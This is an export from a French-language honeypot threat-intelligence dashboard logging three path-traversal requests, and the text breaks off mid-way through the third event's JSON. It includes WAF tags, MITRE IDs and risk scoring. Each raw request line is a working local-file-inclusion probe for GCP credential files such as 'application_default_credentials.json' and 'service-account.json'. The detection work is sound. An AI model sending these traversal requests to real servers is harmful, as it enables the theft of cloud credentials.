19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../home/ubuntu/.config/gclou…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1
Host: 62.3.50.33:8080
User-
Requête brute (extrait)
GET /../../../../../../../home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connecti
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 12,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "d1dd0c61c7e01a30284799d4061a86982ce94144",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 269,
"payload_entropy": 5.264670392329181,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "81985dcabbd5e2cdbdcabef97c235e173b2b18eb",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "ac6b52fe87ba0b3d1a34e8fbce9f60ad",
"path_pattern_hash": "77a5ce3e9b84260892f67bac9ecca291"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnecti",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2fabf795380db76528f5bf8656aaac50085b5561",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gclou\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gclou\u2026",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../app/service-account.json
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../app/service-account.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../app/service-account.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../app/service-account.json
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred GCP service account
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../app/service-account.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../app/service-account.json HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi
Requête brute (extrait)
GET /../../../../../../../app/service-account.json HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 9,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "6cb50ae69ad0bd7ca7596a336e42247130d14cd9",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 230,
"payload_entropy": 5.223691363069299,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "4a95372eb3a34d831b49350df60180cbb0f4c510",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0476",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"Cred GCP service account",
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0476",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "514c5894b3d4f3a158c9fb8b009b09f4",
"path_pattern_hash": "8d6ed7e0f4fe6ede47f1a1d1759b60a8"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "137d5e140a1526c1b29a56c4bb75be492a0ddb0e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/service-account.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../app/gcp-credentials.json
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../app/gcp-credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../app/gcp-credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../app/gcp-credentials.json
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../app/gcp-credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../app/gcp-credentials.json HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi
Requête brute (extrait)
GET /../../../../../../../app/gcp-credentials.json HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 9,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "412ed6922022e0b8551ba1a5b13ef528c92e36f6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 230,
"payload_entropy": 5.210997082466934,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "de728629cf97cecf0e6e899a2acb6c4d3858ed7b",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
